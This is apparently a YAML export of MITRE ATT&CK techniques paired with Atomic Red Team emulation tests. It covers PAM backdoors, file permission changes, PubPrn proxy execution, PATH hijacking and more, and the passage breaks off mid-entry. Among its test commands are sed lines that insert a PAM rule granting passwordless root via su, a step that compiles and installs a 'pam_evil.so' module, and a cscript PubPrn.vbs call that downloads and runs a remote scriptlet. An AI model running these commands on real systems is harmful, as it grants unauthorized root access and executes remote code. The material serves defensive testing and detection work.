T1027.009 - source_name: GitHub PSImage description: Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022. url: https://github.com/peewpw/Invoke-PSImage - source_name: Malware Analysis Report ComRAT description: 'CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.' url: https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a - source_name: Trend Micro description: Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022. url: https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html - source_name: Securelist Dtrack2 description: KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022. url: https://securelist.com/my-name-is-dtrack/93338/ - source_name: Microsoft Learn description: Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022. url: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1 - source_name: SentinelLabs reversing run-only applescripts 2021 description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022. url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ - source_name: Sentinel Labs description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022. url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Scott Knight, @sdotknight, VMware Carbon Black - George Allen, VMware Carbon Black object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771 type: attack-pattern created: '2020-06-26T04:01:09.648Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.003 url: https://attack.mitre.org/techniques/T1556/003 - source_name: Apple PAM url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020. - source_name: Man Pam_Unix url: https://linux.die.net/man/8/pam_unix description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020. - source_name: Red Hat PAM url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020. - source_name: PAM Backdoor url: https://github.com/zephrax/linux-pam-backdoor description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020. - source_name: PAM Creds url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/ description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020. modified: '2022-05-11T14:00:00.188Z' name: 'Modify Authentication Process: Pluggable Authentication Modules' description: |- Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.003 atomic_tests: - name: Malicious PAM rule auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 1 executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' - name: Malicious PAM rule (freebsd) auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3 description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 8 executor: name: sh elevation_required: true command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf} ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | Creates a PAM module, inserts a rule to use it, and then tests it. Upon successful execution, this test will create a PAM module that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient /tmp/pam_evil.so index: description: Index where the rule is inserted. type: integer default: 1 path_to_pam_module_source: description: Path to PAM module source code. type: path default: PathToAtomicsFolder/T1556.003/src/pam_evil.c path_to_pam_module: description: Path to PAM module object type: path default: "/tmp/pam_evil.so" dependencies: - description: 'The PAM development library must be installed to build the PAM module ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' T1578.004: technique: x_mitre_platforms: - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Netskope object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1 type: attack-pattern created: '2020-06-16T18:42:20.734Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1578.004 url: https://attack.mitre.org/techniques/T1578/004 - source_name: Tech Republic - Restore AWS Snapshots url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/ description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019. - source_name: Google - Restore Cloud Snapshot url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots description: Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019. modified: '2022-04-25T14:00:00.188Z' name: Revert Cloud Instance description: |- An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Instance: Instance Start' - 'Instance: Instance Metadata' - 'Instance: Instance Stop' - 'Instance: Instance Modification' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1564.012: technique: modified: '2024-04-15T23:42:39.831Z' name: File/Path Exclusions description: |- Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions) Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Creation' type: attack-pattern id: attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9 created: '2024-03-29T16:59:10.374Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/012 external_id: T1564.012 - source_name: Microsoft File Folder Exclusions description: Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024. url: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1222.002: technique: modified: '2023-08-14T17:54:22.970Z' name: 'File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification' description: "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Metadata' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345 created: '2020-02-04T19:24:27.774Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1222/002 external_id: T1222.002 - source_name: Hybrid Analysis Icacls1 June 2018 description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - source_name: Hybrid Analysis Icacls2 May 2018 description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1222.002 atomic_tests: - name: chmod - Change file or folder mode (numeric mode) auto_generated_guid: 34ca1464-de9d-40c6-8c77-690adf36a135 description: 'Changes a file or folder''s permissions using chmod and a specified numeric mode. ' supported_platforms: - linux - macos input_arguments: numeric_mode: description: Specified numeric mode value type: integer default: 755 file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" executor: command: 'chmod #{numeric_mode} #{file_or_folder} ' name: sh - name: chmod - Change file or folder mode (symbolic mode) auto_generated_guid: fc9d6695-d022-4a80-91b1-381f5c35aff3 description: 'Changes a file or folder''s permissions using chmod and a specified symbolic mode. ' supported_platforms: - linux - macos input_arguments: symbolic_mode: description: Specified symbolic mode value type: string default: a+w file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" executor: command: 'chmod #{symbolic_mode} #{file_or_folder} ' name: sh - name: chmod - Change file or folder mode (numeric mode) recursively auto_generated_guid: ea79f937-4a4d-4348-ace6-9916aec453a4 description: 'Changes a file or folder''s permissions recursively using chmod and a specified numeric mode. ' supported_platforms: - linux - macos input_arguments: numeric_mode: description: Specified numeric mode value type: integer default: 755 file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" executor: command: 'chmod -R #{numeric_mode} #{file_or_folder} ' name: sh - name: chmod - Change file or folder mode (symbolic mode) recursively auto_generated_guid: 0451125c-b5f6-488f-993b-5a32b09f7d8f description: 'Changes a file or folder''s permissions recursively using chmod and a specified symbolic mode. ' supported_platforms: - linux - macos input_arguments: symbolic_mode: description: Specified symbolic mode value type: string default: a+w file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" executor: command: 'chmod -R #{symbolic_mode} #{file_or_folder} ' name: bash - name: chown - Change file or folder ownership and group auto_generated_guid: d169e71b-85f9-44ec-8343-27093ff3dfc0 description: 'Changes a file or folder''s ownership and group information using chown. ' supported_platforms: - macos - linux input_arguments: owner: description: Username of desired owner type: string default: root file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml" group: description: Group name of desired group type: string default: root executor: command: 'chown #{owner}:#{group} #{file_or_folder} ' name: bash - name: chown - Change file or folder ownership and group recursively auto_generated_guid: b78598be-ff39-448f-a463-adbf2a5b7848 description: 'Changes a file or folder''s ownership and group information recursively using chown. ' supported_platforms: - macos - linux input_arguments: owner: description: Username of desired owner type: string default: root file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" group: description: Group name of desired group type: string default: root executor: command: 'chown -R #{owner}:#{group} #{file_or_folder} ' name: bash - name: chown - Change file or folder mode ownership only auto_generated_guid: 967ba79d-f184-4e0e-8d09-6362b3162e99 description: 'Changes a file or folder''s ownership only using chown. ' supported_platforms: - linux - macos input_arguments: owner: description: Username of desired owner type: string default: root file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml" executor: command: 'chown #{owner} #{file_or_folder} ' name: sh - name: chown - Change file or folder ownership recursively auto_generated_guid: 3b015515-b3d8-44e9-b8cd-6fa84faf30b2 description: 'Changes a file or folder''s ownership only recursively using chown. ' supported_platforms: - macos - linux input_arguments: owner: description: Username of desired owner type: string default: root file_or_folder: description: Path of the file or folder type: path default: "/tmp/AtomicRedTeam/atomics/T1222.002" executor: command: 'chown -R #{owner} #{file_or_folder} ' name: bash - name: chattr - Remove immutable file attribute auto_generated_guid: e7469fe2-ad41-4382-8965-99b94dd3c13f description: | Remove's a file's `immutable` attribute using `chattr`. This technique was used by the threat actor Rocke during the compromise of Linux web servers. supported_platforms: - macos - linux input_arguments: file_to_modify: description: Path of the file type: path default: "/var/spool/cron/root" executor: command: 'chattr -i #{file_to_modify} ' name: sh - name: chflags - Remove immutable file attribute auto_generated_guid: 60eee3ea-2ebd-453b-a666-c52ce08d2709 description: | Remove's a file's `immutable` attribute using `chflags`. This technique was used by the threat actor Rocke during the compromise of Linux web servers. supported_platforms: - linux input_arguments: file_to_modify: description: Path of the file type: path default: "/tmp/T1222.002.txt" executor: command: | touch #{file_to_modify} chflags simmutable #{file_to_modify} chflags nosimmutable #{file_to_modify} name: sh - name: Chmod through c script auto_generated_guid: 973631cf-6680-4ffa-a053-045e1b6b67ab description: 'chmods a file using a c script ' supported_platforms: - macos - linux input_arguments: source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1222.002/src/T1222.002.c compiled_file: description: Path of compiled file type: path default: "/tmp/T1222002" dependency_executor_name: sh dependencies: - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file} ' prereq_command: 'gcc #{source_file} -o #{compiled_file} ' get_prereq_command: 'gcc #{source_file} -o #{compiled_file} ' executor: command: "#{compiled_file} /tmp/ T1222002\n" name: sh - name: Chmod through c script (freebsd) auto_generated_guid: da40b5fe-3098-4b3b-a410-ff177e49ee2e description: 'chmods a file using a c script ' supported_platforms: - linux input_arguments: source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1222.002/src/T1222.002.c compiled_file: description: Path of compiled file type: path default: "/tmp/T1222002" dependency_executor_name: sh dependencies: - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file} ' prereq_command: 'cc #{source_file} -o #{compiled_file} ' get_prereq_command: 'cc #{source_file} -o #{compiled_file} ' executor: command: "#{compiled_file} /tmp/ T1222002\n" name: sh - name: Chown through c script auto_generated_guid: 18592ba1-5f88-4e3c-abc8-ab1c6042e389 description: 'chowns a file to root using a c script ' supported_platforms: - macos - linux input_arguments: source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1222.002/src/chown.c compiled_file: description: Path of compiled file type: path default: "/tmp/T1222002own" dependency_executor_name: sh dependencies: - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file} ' prereq_command: 'gcc #{source_file} -o #{compiled_file} ' get_prereq_command: 'gcc #{source_file} -o #{compiled_file} ' executor: command: 'sudo #{compiled_file} #{source_file} ' name: sh elevation_required: true - name: Chown through c script (freebsd) auto_generated_guid: eb577a19-b730-4918-9b03-c5edcf51dc4e description: 'chowns a file to root using a c script ' supported_platforms: - linux input_arguments: source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1222.002/src/chown.c compiled_file: description: Path of compiled file type: path default: "/tmp/T1222002own" dependency_executor_name: sh dependencies: - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file} ' prereq_command: 'cc #{source_file} -o #{compiled_file} ' get_prereq_command: 'cc #{source_file} -o #{compiled_file} ' executor: command: "#{compiled_file} #{source_file}\n" name: sh elevation_required: true T1216.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Atul Nair, Qualys object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58 created: '2020-02-03T16:49:57.788Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1216.001 url: https://attack.mitre.org/techniques/T1216/001 - source_name: pubprn url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn description: Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021. - source_name: Enigma0x3 PubPrn Bypass url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.' x_mitre_deprecated: false revoked: false description: |- Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Signed Script Proxy Execution: Pubprn' x_mitre_detection: Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Script: Script Execution' x_mitre_defense_bypassed: - Digital Certificate Validation - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1216.001 atomic_tests: - name: PubPrn.vbs Signed Script Bypass auto_generated_guid: 9dd29a1f-1e16-4862-be83-913b10a88f6c description: 'Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload. ' supported_platforms: - windows input_arguments: remote_payload: description: A remote payload to execute using PubPrn.vbs. type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct executor: command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}" ' name: command_prompt T1574.007: technique: modified: '2023-10-03T03:29:57.078Z' name: Path Interception by PATH Environment Variable description: "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32 created: '2020-03-13T14:10:43.424Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/007 external_id: T1574.007 - source_name: Elastic Rules macOS launchctl 2022 description: Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023. url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html - source_name: ExpressVPN PATH env Windows 2021 description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.' url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/ - source_name: uptycs Fake POC linux malware 2023 description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.' url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware - source_name: nixCraft macOS PATH variables description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023. url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1006: technique: modified: '2024-04-16T12:25:24.480Z' name: Direct Volume Access description: |- Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and 